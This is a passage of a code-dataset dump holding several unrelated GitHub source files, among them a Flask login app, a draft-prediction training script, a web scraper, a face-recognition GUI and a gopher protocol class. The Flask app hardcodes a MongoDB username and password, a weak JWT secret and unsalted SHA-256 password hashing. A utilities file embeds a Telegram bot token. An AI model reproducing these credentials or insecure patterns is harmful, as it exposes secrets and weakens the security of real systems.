self.config.write(f)\n\n\n","repo_name":"roswellevent/RoswelleventBot","sub_path":"RoswelleventBotConfig.py","file_name":"RoswelleventBotConfig.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1659991326","text":"\"\"\"\nTitle : 숫자고르기\nLink : https://www.acmicpc.net/problem/2668\n\"\"\"\n\nimport sys\ninput = sys.stdin.readline\n\n\ndef dfs(set_up, set_down, num_now):\n global seq, disjoint_set, used\n if set_up == set_down:\n disjoint_set.append(set_up)\n for x in set_up:\n used[x] = True\n return\n # 사용한 숫자일때\n if used[num_now]:\n return\n # 같은 숫자만 재귀될때\n if num_now == seq[num_now] or num_now in set_up or seq[num_now] in set_down:\n return\n dfs(set_up | {num_now}, set_down | {seq[num_now]}, seq[num_now])\n\n\nn = int(input())\nseq = [0] + [int(input()) for _ in range(n)]\n\n# 해당 숫자가 사용됬는지\nused = [False] * (n + 1)\n# 각각의 서로소 집합으로\ndisjoint_set = []\n\nfor i in range(1, n + 1):\n if not used[i]:\n dfs({i}, {seq[i]}, seq[i])\n\nans = sorted(sum(map(list, disjoint_set), start=[]))\nprint(len(ans), *ans, sep='\\n')\n","repo_name":"mintropy/algorithm_pulzo","sub_path":"이영준/2021/10/1015/2668.py","file_name":"2668.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"534608222","text":"import json\nimport torch\nimport torch.nn.functional as F\n\nfrom pathlib import Path\nfrom collections import defaultdict\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom data import DraftDataset\nfrom drafter import Drafter\n\n\ndef train(\n data_path: Path,\n exp_path: Path,\n d_model: int,\n batch_size: int,\n learning_rate: float,\n dropout: float,\n val_size: int,\n n_iter_val: int,\n max_iter: int,\n):\n cuda = torch.cuda.is_available()\n\n dataset = DraftDataset(data_path)\n indices = list(range(len(dataset)))\n n_samples = len(dataset.data)\n train_indices = [i for i in indices if i % n_samples > val_size]\n val_indices = [i for i in indices if i % n_samples <= val_size][:val_size]\n\n train_set = torch.utils.data.Subset(dataset, train_indices)\n val_set = torch.utils.data.Subset(dataset, val_indices)\n\n train_data = iter(torch.utils.data.DataLoader(train_set, batch_size=batch_size))\n val_data = torch.utils.data.DataLoader(val_set, batch_size=16)\n\n model = Drafter(d_model=d_model, n_embeddings=dataset.n, dropout=dropout)\n\n assert torch.cuda.is_available()\n model = model.cuda()\n\n def move_batch_to_device(batch, device=\"cuda\"):\n return {k: v.to(device) for k, v in batch.items()}\n\n optimizer = torch.optim.AdamW(model.parameters(), lr=learning_rate)\n\n writer = SummaryWriter(exp_path)\n\n def loop(batch):\n if model.training:\n batch = dataset.augment(batch, p=0.15)\n if cuda:\n batch = move_batch_to_device(batch=batch, device=\"cuda\")\n\n batch_metrics = {}\n with torch.set_grad_enabled(model.training):\n B, _, T = batch[\"picks\"].shape\n target_mask = batch.pop(\"target_mask\")[:, 0]\n logits = model(**batch)\n target = batch[\"picks\"][:, 0]\n\n # masking\n masked_logits = logits.masked_fill(~target_mask[..., None], 0)\n masked_target = target.masked_fill(~target_mask, 0)\n\n # loss computation\n loss_ce = F.cross_entropy(\n masked_logits.view(B * T, -1), masked_target.view(B * T)\n )\n batch_metrics[\"loss_ce\"] = loss_ce\n\n if model.training:\n optimizer.zero_grad()\n loss_ce.backward()\n optimizer.step()\n else:\n # evaluation of the model. Compute accuracy of the predictions\n already_picks = batch[\"picks\"].masked_fill(~batch[\"picks_mask\"], 0)\n bans = batch[\"bans\"].masked_fill(~batch[\"bans_mask\"], 0)\n probs, pred = model.predict_from_logits(\n logits, already_picks=already_picks, bans=bans\n )\n accuracy = (pred == batch[\"picks\"][:, 0]).float().mean(1).mean(0)\n batch_metrics[\"accuracy\"] = accuracy\n\n return batch_metrics\n\n for i in range(max_iter):\n model.train()\n batch = next(train_data)\n\n batch_metrics = loop(batch=batch)\n\n # log training metrics\n for k, v in batch_metrics.items():\n writer.add_scalar(f\"train/{k}\", v, i)\n\n # compute and log val metrics\n if i % n_iter_val == 0:\n model.eval()\n val_metrics = defaultdict(list)\n\n for val_batch in val_data:\n batch_metrics = loop(batch=val_batch)\n for k, v in batch_metrics.items():\n val_metrics[k].append(v)\n\n for k, v in val_metrics.items():\n writer.add_scalar(f\"val/{k}\", torch.stack(v).mean(), i)\n\n # Sample from the model\n val_batch = move_batch_to_device(val_batch)\n with torch.no_grad():\n pick, picks, updated_picks = model.sample_next(\n picks=val_batch[\"picks\"],\n bans=val_batch[\"bans\"],\n picks_mask=val_batch[\"picks_mask\"],\n bans_mask=val_batch[\"bans_mask\"],\n )\n champions_dict = get_champions_dict(data_path)\n for k, (b, m, op, ap, up, gt) in enumerate(\n zip(\n int_to_champ(val_batch[\"bans\"].view(-1, 10), d=champions_dict),\n val_batch[\"picks_mask\"],\n int_to_champ(picks[:, 1], d=champions_dict),\n int_to_champ(picks[:, 0], d=champions_dict),\n int_to_champ(updated_picks, d=champions_dict),\n int_to_champ(val_batch[\"picks\"][:, 0], d=champions_dict),\n )\n ):\n text = f'bans: {\" \".join(b)} '\n text += f'\\ndraft_mask: {\" \".join([str(s) for s in m.tolist()])} '\n text += f'\\nopp_picks: {\" \".join(op)} '\n text += f'\\nally_picks: {\" \".join(ap)} '\n text += f'\\nupdt_picks: {\" \".join(up)} '\n text += f'\\ngt_picks: {\" \".join(gt)}'\n writer.add_text(f\"draft_sample_{k}\", text, i)\n\n\ndef get_champions_dict(data_path: Path):\n with open(\"/data/labels/champions.json\", \"r\") as f:\n d = json.load(f)\n d[\"UNK\"] = 0\n dinv = {v: k for k, v in d.items()}\n return dinv\n\n\ndef int_to_champ(batch, d: dict):\n champs = []\n for item in batch:\n champs.append([d[i.item()] for i in item])\n return champs\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--data_path\", type=Path, required=True)\n parser.add_argument(\"--exp_path\", type=Path, required=True)\n parser.add_argument(\"--d_model\", type=int, default=32)\n parser.add_argument(\"--batch_size\", type=int, default=32)\n parser.add_argument(\"--learning_rate\", type=float, default=3e-4)\n parser.add_argument(\"--dropout\", type=float, default=0.1)\n\n parser.add_argument(\"--val_size\", type=int, default=300)\n parser.add_argument(\"--n_iter_val\", type=int, default=1000)\n parser.add_argument(\"--max_iter\", type=int, default=100000)\n\n options = parser.parse_args()\n\n train(\n data_path=options.data_path,\n exp_path=options.exp_path,\n d_model=options.d_model,\n batch_size=options.batch_size,\n learning_rate=options.learning_rate,\n dropout=options.dropout,\n val_size=options.val_size,\n n_iter_val=options.n_iter_val,\n max_iter=options.max_iter,\n )\n","repo_name":"lgestin/loldrafter","sub_path":"drafter/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29253236515","text":"# https://www.coursera.org/articles/programmer-vs-developer\n\nimport requests\n#request module helps the interaction with HTTP smooth when it comes with interacting with the web\nfrom bs4 import BeautifulSoup as bs\n\ndef get_page(url) :\n # the requests.get allows us to specify what we want to interact on with HTTp\n response = requests.get(url)\n\n soup = bs(response.content, 'html.parser')\n\n vars = (soup.find_all('a'))\n\n for var in vars:\n print(var.get(\"href\"))\n\nyour_url = input(\"What URL would you love to scrape? \")\nget_page(your_url)\n","repo_name":"chemben17/scrapper","sub_path":"Scrapper/scrappy.py","file_name":"scrappy.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15099876842","text":"from flask import Flask, render_template, jsonify, request, session, redirect, url_for\r\napp = Flask(__name__)\r\n\r\nfrom pymongo import MongoClient\r\n\r\nMONGODB_CONNECTION_STRING = \"mongodb+srv://test:colosal@cluster0.pttqnas.mongodb.net/?retryWrites=true&w=majority\"\r\nclient = MongoClient(MONGODB_CONNECTION_STRING)\r\ndb = client.dbproject4\r\nSECRET_KEY = \"SPARTA\"\r\n\r\nimport jwt\r\nimport datetime\r\nimport hashlib\r\n\r\n@app.route('/')\r\ndef home():\r\n token_receive = request.cookies.get(\"mytoken\")\r\n try:\r\n payload = jwt.decode(token_receive, SECRET_KEY, algorithms=[\"HS256\"])\r\n user_info = db.user.find_one({\"id\": payload[\"id\"]})\r\n return render_template(\"index.html\", nickname=user_info[\"nick\"])\r\n except jwt.ExpiredSignatureError:\r\n return redirect(url_for(\"login\", msg=\"Your login token has expired\"))\r\n except jwt.exceptions.DecodeError:\r\n return redirect(url_for(\"login\", msg=\"There was an issue logging you in\"))\r\n\r\n@app.route(\"/login\")\r\ndef login():\r\n msg = request.args.get(\"msg\")\r\n return render_template(\"login.html\", msg=msg)\r\n\r\n\r\n@app.route(\"/register\")\r\ndef register():\r\n return render_template(\"register.html\")\r\n\r\n@app.route(\"/api/register\", methods=[\"POST\"])\r\ndef api_register():\r\n id_receive = request.form[\"id_give\"]\r\n pw_receive = request.form[\"pw_give\"]\r\n nickname_receive = request.form[\"nickname_give\"]\r\n\r\n # cek apakah ID user sudah digunakan\r\n if db.user.find_one({\"id\": id_receive}):\r\n return jsonify({\"result\": \"fail\", \"msg\": \"ID user telah digunakan!\"})\r\n\r\n pw_hash = hashlib.sha256(pw_receive.encode(\"utf-8\")).hexdigest()\r\n\r\n db.user.insert_one({\"id\": id_receive, \"pw\": pw_hash, \"nick\": nickname_receive})\r\n\r\n return jsonify({\"result\": \"success\"})\r\n\r\n@app.route(\"/api/login\", methods=[\"POST\"])\r\ndef api_login():\r\n id_receive = request.form[\"id_give\"]\r\n pw_receive = request.form[\"pw_give\"]\r\n \r\n pw_hash = hashlib.sha256(pw_receive.encode(\"utf-8\")).hexdigest()\r\n\r\n result = db.user.find_one({\"id\": id_receive, \"pw\": pw_hash})\r\n\r\n if result is not None:\r\n payload = {\r\n \"id\": id_receive,\r\n \"exp\": datetime.datetime.utcnow() + datetime.timedelta(seconds=5),\r\n }\r\n token = jwt.encode(payload, SECRET_KEY, algorithm=\"HS256\")\r\n\r\n return jsonify({\"result\": \"success\", \"token\": token})\r\n else:\r\n return jsonify({\"result\": \"fail\", \"msg\": \"Either your email or your password is incorrect\"}) \r\n\r\ndef api_valid():\r\n token_receive = request.cookies.get(\"mytoken\")\r\n try:\r\n payload = jwt.decode(token_receive, SECRET_KEY, algorithms=[\"HS256\"])\r\n print(payload)\r\n userinfo = db.user.find_one({\"id\": payload[\"id\"]}, {\"_id\": 0})\r\n return jsonify({\"result\": \"success\", \"nickname\": userinfo[\"nick\"]})\r\n except jwt.ExpiredSignatureError:\r\n return jsonify({\"result\": \"fail\", \"msg\": \"Your token has expired\"})\r\n except jwt.exceptions.DecodeError:\r\n return jsonify({\"result\": \"fail\", \"msg\": \"There was an error while logging you in\"})\r\n\r\nif __name__ == \"__main__\":\r\n app.run(\"0.0.0.0\", port=5000, debug=True)\r\n","repo_name":"skyeess/project04","sub_path":"app _backup.py","file_name":"app _backup.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70175825014","text":"from tkinter import*\r\nfrom tkinter import ttk\r\nfrom tkinter import font\r\nfrom PIL import Image, ImageTk\r\nfrom student import Student\r\nimport os\r\nfrom train import Train\r\nfrom face_recognition import Face_Recognition\r\nfrom Attendance import Attendance\r\nfrom tkinter import messagebox\r\n\r\nclass Face_Recognition_Attendance_System:\r\n def __init__(self,root):\r\n self.root=root \r\n self.root.geometry(\"1930x1080+0+0\")\r\n self.root.title(\"Face Recognition Attendance system\")\r\n \r\n\r\n #bg image\r\n img=Image.open(r\"images\\fras img2.jpeg\")\r\n img=img.resize((1536,860),Image.ANTIALIAS) \r\n self.photoimg=ImageTk.PhotoImage(img)\r\n\r\n bg_img=Label(self.root,image=self.photoimg) \r\n bg_img.place(x=0,y=0,width=1536,height=860)\r\n \r\n title_lbl=Label(bg_img,text=\"Face Recognition Attendance System Software\",font=(\"times new roman\",35,\"bold\"),bg=\"white\",fg=\"red\")\r\n title_lbl.place(x=250,y=50,width=1000,height=70)\r\n \r\n #Student button\r\n img1=Image.open(r\"images\\fras button1.png\")\r\n img1=img1.resize((220,220),Image.ANTIALIAS) \r\n self.photoimg1=ImageTk.PhotoImage(img1)\r\n\r\n b1=Button(bg_img,image=self.photoimg1,command=self.student_details,cursor=\"hand2\")\r\n b1.place(x=200,y=200,width=220,height=220)\r\n \r\n b1_1=Button(bg_img,text=\"Student Details\",command=self.student_details,cursor=\"hand2\",font=(\"times new roman\",15,\"bold\"),bg=\"darkblue\",fg=\"white\")\r\n b1_1.place(x=200,y=400,width=220,height=40)\r\n \r\n \r\n #Detect Button\r\n img2=Image.open(r\"images\\fras button2.png\")\r\n img2=img2.resize((220,220),Image.ANTIALIAS) \r\n self.photoimg2=ImageTk.PhotoImage(img2)\r\n\r\n b1=Button(bg_img,image=self.photoimg2,cursor=\"hand2\",command=self.face_data)\r\n b1.place(x=650,y=200,width=220,height=220)\r\n \r\n b1_1=Button(bg_img,text=\"Face Detector\",command=self.face_data,cursor=\"hand2\",font=(\"times new roman\",15,\"bold\"),bg=\"darkblue\",fg=\"white\")\r\n b1_1.place(x=650,y=400,width=220,height=40)\r\n \r\n \r\n #Attendance Button\r\n img3=Image.open(r\"images\\fras button3.jpg\")\r\n img3=img3.resize((220,220),Image.ANTIALIAS) \r\n self.photoimg3=ImageTk.PhotoImage(img3)\r\n\r\n b1=Button(bg_img,image=self.photoimg3,cursor=\"hand2\",command=self.attendance_data)\r\n b1.place(x=1100,y=200,width=220,height=220)\r\n \r\n b1_1=Button(bg_img,text=\"Attendance\",cursor=\"hand2\",command=self.attendance_data,font=(\"times new roman\",15,\"bold\"),bg=\"darkblue\",fg=\"white\")\r\n b1_1.place(x=1100,y=400,width=220,height=40)\r\n \r\n \r\n \r\n #Train Button\r\n img4=Image.open(r\"images\\fras button4.png\")\r\n img4=img4.resize((220,220),Image.ANTIALIAS) \r\n self.photoimg4=ImageTk.PhotoImage(img4)\r\n\r\n b1=Button(bg_img,image=self.photoimg4,cursor=\"hand2\",command=self.train_data)\r\n b1.place(x=200,y=500,width=220,height=220)\r\n \r\n b1_1=Button(bg_img,text=\"Train Data\",command=self.train_data,cursor=\"hand2\",font=(\"times new roman\",15,\"bold\"),bg=\"darkblue\",fg=\"white\")\r\n b1_1.place(x=200,y=700,width=220,height=40)\r\n \r\n \r\n \r\n #photos Button\r\n img5=Image.open(r\"images\\fras button5.png\")\r\n img5=img5.resize((220,220),Image.ANTIALIAS) \r\n self.photoimg5=ImageTk.PhotoImage(img5)\r\n\r\n b1=Button(bg_img,image=self.photoimg5,cursor=\"hand2\",command=self.open_img)\r\n b1.place(x=650,y=500,width=220,height=220)\r\n \r\n b1_1=Button(bg_img,text=\"Photos\",cursor=\"hand2\",command=self.open_img,font=(\"times new roman\",15,\"bold\"),bg=\"darkblue\",fg=\"white\")\r\n b1_1.place(x=650,y=700,width=220,height=40)\r\n \r\n \r\n \r\n #Exit Button\r\n img6=Image.open(r\"images\\fras button6.jpg\")\r\n img6=img6.resize((220,220),Image.ANTIALIAS) \r\n self.photoimg6=ImageTk.PhotoImage(img6)\r\n\r\n b1=Button(bg_img,image=self.photoimg6,cursor=\"hand2\",command=self.iExit)\r\n b1.place(x=1100,y=500,width=220,height=220)\r\n \r\n b1_1=Button(bg_img,text=\"EXIT\",cursor=\"hand2\",command=self.iExit,font=(\"times new roman\",15,\"bold\"),bg=\"darkblue\",fg=\"white\")\r\n b1_1.place(x=1100,y=700,width=220,height=40)\r\n\r\n def open_img(self):\r\n os.startfile(\"data\") \r\n \r\n def iExit(self):\r\n self.iExit=messagebox.askyesno(\"Face Recognition\",\"Are you sure you want to exit\",parent=self.root)\r\n if self.iExit>0:\r\n self.root.destroy()\r\n else:\r\n return\r\n\r\n #===============Functions buttons=========================\r\n\r\n def student_details(self):\r\n self.new_window=Toplevel(self.root)\r\n self.app=Student(self.new_window)\r\n\r\n def train_data(self):\r\n self.new_window=Toplevel(self.root)\r\n self.app=Train(self.new_window)\r\n\r\n def face_data(self):\r\n self.new_window=Toplevel(self.root)\r\n self.app=Face_Recognition(self.new_window)\r\n \r\n def attendance_data(self):\r\n self.new_window=Toplevel(self.root)\r\n self.app=Attendance(self.new_window)\r\n\r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n root=Tk()\r\n obj=Face_Recognition_Attendance_System(root)\r\n root.mainloop()","repo_name":"DipanshuMalik/Face-Recognition-Attendance-System-MiniProject2021","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73630719733","text":"class Student:\n count = 0\n def __init__(self, id, name, isSpecial=False):\n self.id = id # instance variable \n self.name = name\n self.isSpecial = isSpecial\n Student.count += 1\n def __str__(self):\n if self.isSpecial is True:\n return \"* id: \" + str(self.id) + \" \" + \"name: \" + self.name \n else:\n return \" id: \" + str(self.id) + \" \" + \"name: \" + self.name \n def __gt__(self, s):\n return self.id > s.id\n\nstudentList = [\n Student(9, \"aaaaaaa\"),\n Student(5, \"ccc\", True),\n Student(8, \"bb\"),\n Student(2, \"eee\", True),\n Student(1, \"ddd\"),\n Student(10, \"1000\"),\n Student(15, \"1555\"),\n Student(4, \"444\"),\n Student(3, \"333\"),\n Student(7, \"777\"),\n]\n\n# arbitrary order \nfor student in studentList:\n print(student)\n\n# sorted by id \nfor student in sorted(studentList):\n print(student)","repo_name":"ianlai/Note-Python","sub_path":"syntax/class_comparation.py","file_name":"class_comparation.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37658297713","text":"import html_model\n\nclass HtmlHandler:\n\n def __init__(self):\n self.tag_stack = []\n self.handle_tree = None\n self.start_token_router = {\n 'p' : self.handle_start_p,\n 'article' : self.handle_start_article,\n 'var' : self.handle_start_var,\n 'input' : self.handle_start_input,\n }\n\n self.end_token_router = {\n 'p': self.handle_end_p,\n 'article': self.handle_end_article,\n 'var': self.handle_end_var,\n 'input': self.handle_end_input,\n }\n\n\n\n def handle_start_p(self,tag,attrs):\n p_model = html_model.P(tag)\n if len(self.tag_stack) > 0:\n self.tag_stack[-1].add_child(p_model)\n if self.handle_tree is None:\n self.handle_tree = p_model\n self.tag_stack.append(p_model)\n\n def handle_end_p(self):\n p_model = self.tag_stack.pop()\n p_model.run()\n\n def handle_start_article(self, tag, attrs):\n article_model = html_model.Article(tag)\n if len(self.tag_stack) > 0:\n self.tag_stack[-1].add_child(article_model)\n self.tag_stack.append(article_model)\n\n def handle_end_article(self):\n article_model = self.tag_stack.pop()\n article_model.run()\n\n def handle_start_var(self, tag, attrs):\n var_model = html_model.Var(tag)\n if len(self.tag_stack) > 0:\n self.tag_stack[-1].add_child(var_model)\n self.tag_stack.append(var_model)\n\n def handle_end_var(self):\n self.tag_stack.pop()\n\n def handle_start_input(self, tag, attrs):\n input_model = html_model.Input(tag,attrs)\n self.tag_stack.append(input_model)\n\n def handle_end_input(self):\n input_model = self.tag_stack.pop()\n input_model.run()\n\n def handle_data(self,data):\n data = data.strip()\n if data == '':\n return\n if len(self.tag_stack) == 0:\n return\n model = self.tag_stack[-1]\n if type(model) is html_model.Var:\n model.setName(data)\n if type(model) is html_model.Article:\n model.add_child(data)","repo_name":"node-dot-html/node.html","sub_path":"handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"71137707254","text":"import time\nimport urllib.request\nimport os\nimport psutil\nimport sys\n\ndef print_current_RAM_usage():\n try:\n f = open('/sys/fs/cgroup/memory/memory.usage_in_bytes', 'r')\n ram_bytes = int(f.read())\n f.close()\n print('current RAM usage: ' + str(round(ram_bytes/(1000*1000), 1)) + ' MB')\n\n except:\n print('could not read current RAM usage:\\n', sys.exc_info()[0])\n\ndef get_memory_used():\n pid = os.getpid()\n python_process = psutil.Process(pid)\n memoryUse = python_process.memory_info()[0]/2.**30 # memory use in GB...I think\n return memoryUse\n\ndef send_text(text, NotPrew=1):\n url_notification = 'https://api.telegram.org/bot441364514:AAEg1HTb6fPYHf84r5dRDnodIhD-Kl-ivQs/sendMessage?disable_web_page_preview=' + str(NotPrew) + '&chat_id=127648442&text='\n \n try:\n urllib.request.urlopen(url_notification + urllib.parse.quote(text), timeout=40)\n time.sleep(0.1)\n print('telegram text sent')\n \n except:\n print('could not send telegram text')\n\ndef execute_cmd(cmd):\n os.system(cmd)\n\n","repo_name":"Diddy42/unhidden_layers","sub_path":"python_webserver/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37061512968","text":"import os\nimport torch\nfrom pytorch_lightning.core import LightningModule\nfrom dataset.asd.dataLoader import train_loader_2task as ASDTrainDataset2Task\nfrom dataset.asd.dataLoader import val_loader_2task as ASDValDataset2Task\nfrom models.asd.build import build_model\nfrom utils.utils import load_parameters, freeze_params\nfrom .loss import lossAV, lossA, lossV\n\n\nclass ActiveSpeakerDetection2Loader(LightningModule):\n def __init__(self, args):\n super().__init__()\n self.file_path = \"/private/home/sherryxue/projects/TalkNet/data/\"\n self.args = args\n self.checkpoint_metric = \"val_acc\"\n self.model = build_model(args)\n self.lossAV = lossAV(self.model.output_dim)\n\n def training_step(self, batch, batch_idx):\n audioFeature, asdvisualFeature, ttmvisualFeature, labels = batch\n if len(audioFeature.shape) == 1:\n print('skipping this batch...')\n return\n outsAV = self.model(ttmvisualFeature[0], asdvisualFeature[0], audioFeature[0], audioFeature[0])\n labels = labels[0].reshape((-1))\n nloss, _, _, prec = self.lossAV.forward(outsAV, labels)\n self.log(\"train_loss\", nloss, on_step=True, on_epoch=True)\n self.log(\"train_correct\", prec, on_step=False, on_epoch=True, reduce_fx=\"sum\")\n self.log(\"train_total\", len(labels), on_step=False, on_epoch=True, reduce_fx=\"sum\")\n return nloss\n\n def validation_step(self, batch, batch_idx):\n audioFeature, asdvisualFeature, ttmvisualFeature, labels = batch\n outsAV = self.model(ttmvisualFeature[0], asdvisualFeature[0], audioFeature[0], audioFeature[0])\n labels = labels[0].reshape((-1))\n val_loss, predScore, _, prec = self.lossAV.forward(outsAV, labels)\n self.log(\"val_loss\", val_loss, on_step=False, on_epoch=True)\n self.log(\"val_correct\", prec, reduce_fx='sum')\n self.log(\"val_total\", len(labels), reduce_fx='sum')\n return {\n 'correct': prec,\n 'total': len(labels)\n }\n\n def validation_epoch_end(self, outputs):\n num_correct = torch.tensor([x['correct'] for x in outputs]).sum()\n num_total = torch.tensor([x['total'] for x in outputs]).sum()\n self.log(\"val_acc\", num_correct / num_total)\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=self.args.lr)\n scheduler = {\"scheduler\": torch.optim.lr_scheduler.StepLR(optimizer, step_size=1, gamma=self.args.lr_decay), \"interval\": \"step\"}\n if self.args.nodecay:\n return optimizer\n return [optimizer], [scheduler]\n\n def train_dataloader(self):\n dataset = ASDTrainDataset2Task(trialFileName=os.path.join(self.file_path, \"ego4d/csv/active_speaker_train.csv\"),\n audioPath=os.path.join(self.file_path, \"wave\"),\n visualPath=os.path.join(self.file_path, \"video_imgs\"),\n batchSize=self.args.batch_size)\n loader = torch.utils.data.DataLoader(dataset, batch_size=1, shuffle=True, num_workers=self.args.num_workers)\n return loader\n\n def val_dataloader(self):\n dataset = ASDValDataset2Task(trialFileName=os.path.join(self.file_path, \"ego4d/csv/active_speaker_val.csv\"),\n audioPath=os.path.join(self.file_path, \"wave\"),\n visualPath=os.path.join(self.file_path, \"video_imgs\"))\n loader = torch.utils.data.DataLoader(dataset, batch_size=1, shuffle=False, num_workers=self.args.num_workers)\n return loader\n","repo_name":"facebookresearch/EgoT2","sub_path":"HHI/tasks/asd/video_task_taskspecific.py","file_name":"video_task_taskspecific.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"21"} +{"seq_id":"15469114314","text":"from __future__ import annotations\n\nimport configparser\nimport io\nimport ssl\nimport typing\n\nfrom pygopherd import GopherExceptions, gopherentry, logger\nfrom pygopherd.handlers import HandlerMultiplexer\n\nif typing.TYPE_CHECKING:\n from pygopherd.gopherentry import GopherEntry\n from pygopherd.handlers.base import BaseHandler\n from pygopherd.server import BaseServer, GopherRequestHandler\n\n\nclass BaseGopherProtocol:\n \"\"\"Skeleton protocol -- includes commonly-used routines.\"\"\"\n\n secure = False\n\n entry: GopherEntry\n\n def __init__(\n self,\n request: str,\n server: BaseServer,\n requesthandler: GopherRequestHandler,\n rfile: io.BufferedIOBase,\n wfile: io.BufferedIOBase,\n config: configparser.ConfigParser,\n ):\n \"\"\"Parameters are:\n request -- the raw request string.\n\n server -- a SocketServer object.\n\n rfile -- input file. The first line will already have been read.\n\n wfile -- output file. Where the output should be sent.\n\n config -- a ConfigParser object.\"\"\"\n\n self.request = request\n requestparts = [arg.strip() for arg in request.split(\"\\t\")]\n self.rfile = rfile\n self.wfile = wfile\n self.config = config\n self.server = server\n self.requesthandler = requesthandler\n self.requestlist = requestparts\n self.searchrequest = None\n self.handler = None\n\n selector = requestparts[0]\n selector = self.slashnormalize(selector)\n\n self.selector = selector\n\n def slashnormalize(self, selector: str) -> str:\n \"\"\"Normalize slashes in the selector. Make sure it starts\n with a slash and does not end with one. If it is a root directory\n request, make sure it is exactly '/'. Returns result.\"\"\"\n if len(selector) and selector[-1] == \"/\":\n selector = selector[0:-1]\n if len(selector) == 0 or selector[0] != \"/\":\n selector = \"/\" + selector\n return selector\n\n def canhandlerequest(self) -> bool:\n \"\"\"Decides whether or not a given request is valid for this\n protocol. Should be overridden by all subclasses.\"\"\"\n return False\n\n def log(self, handler: BaseHandler) -> None:\n \"\"\"Log a handled request.\"\"\"\n logger.log(\n \"%s [%s/%s]: %s\"\n % (\n self.requesthandler.client_address[0],\n type(self).__name__,\n type(handler).__name__,\n self.selector,\n )\n )\n\n def handle(self) -> None:\n \"\"\"Handles the request.\"\"\"\n try:\n handler = self.gethandler()\n self.log(handler)\n self.entry = handler.getentry()\n handler.prepare()\n if handler.isdir():\n self.writedir(self.entry, handler.getdirlist())\n else:\n handler.write(self.wfile)\n except GopherExceptions.FileNotFound as e:\n self.filenotfound(str(e))\n except IOError as e:\n GopherExceptions.log(e, self, None)\n self.filenotfound(e.strerror)\n\n def filenotfound(self, msg: str):\n self.wfile.write(\n f\"3{msg}\\t\\terror.host\\t1\\r\\n\".encode(errors=\"surrogateescape\")\n )\n\n def gethandler(self) -> BaseHandler:\n \"\"\"Gets the handler for this object's selector.\"\"\"\n if not self.handler:\n self.handler = HandlerMultiplexer.getHandler(\n self.selector, self.searchrequest, self, self.config\n )\n return self.handler\n\n def writedir(\n self, entry: GopherEntry, dirlist: typing.Iterable[GopherEntry]\n ) -> None:\n \"\"\"Called to render a directory. Generally called by self.handle()\"\"\"\n\n startstr = self.renderdirstart(entry)\n if startstr is not None:\n self.wfile.write(startstr.encode(errors=\"surrogateescape\"))\n\n abstractopt = self.config.get(\"pygopherd\", \"abstract_entries\")\n doabstracts = abstractopt == \"always\" or (\n abstractopt == \"unsupported\" and not self.groksabstract()\n )\n\n if self.config.getboolean(\"pygopherd\", \"abstract_headers\"):\n self.wfile.write(\n self.renderabstract(entry.getea(\"ABSTRACT\", \"\")).encode(\n errors=\"surrogateescape\"\n )\n )\n\n for direntry in dirlist:\n self.wfile.write(\n self.renderobjinfo(direntry).encode(errors=\"surrogateescape\")\n )\n if doabstracts:\n abstract = self.renderabstract(direntry.getea(\"ABSTRACT\"))\n if abstract:\n self.wfile.write(abstract.encode(errors=\"surrogateescape\"))\n\n endstr = self.renderdirend(entry)\n if endstr is not None:\n self.wfile.write(endstr.encode(errors=\"surrogateescape\"))\n\n def renderabstract(self, abstractstring: str) -> str:\n if not abstractstring:\n return \"\"\n retval = \"\"\n for line in abstractstring.splitlines():\n absentry = gopherentry.getinfoentry(line, self.config)\n retval += self.renderobjinfo(absentry)\n return retval\n\n def renderdirstart(self, entry: GopherEntry) -> typing.Optional[str]:\n \"\"\"Renders the start of a directory. Most protocols will not need\n this. Exception might be HTML. Returns None if not needed.\n Argument should be the entry corresponding to the dir itself.\"\"\"\n return None\n\n def renderdirend(self, entry: GopherEntry) -> typing.Optional[str]:\n \"\"\"Likewise for the end of a directory.\"\"\"\n return None\n\n def renderobjinfo(self, entry: GopherEntry) -> typing.Optional[str]:\n \"\"\"Renders an object's info according to the protocol. Returns\n a string. A gopher0 server, for instance, would return a dir line.\n MUST BE OVERRIDDEN.\"\"\"\n return None\n\n def groksabstract(self) -> bool:\n \"\"\"Returns true if this protocol understands abstracts natively;\n false otherwise.\"\"\"\n return False\n\n def check_tls(self) -> bool:\n \"\"\"\n Returns true if the connection was established over TLS.\n \"\"\"\n return isinstance(self.requesthandler.request, ssl.SSLSocket)\n","repo_name":"michael-lazar/pygopherd","sub_path":"pygopherd/protocols/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6290,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"21"} +{"seq_id":"30980840682","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as 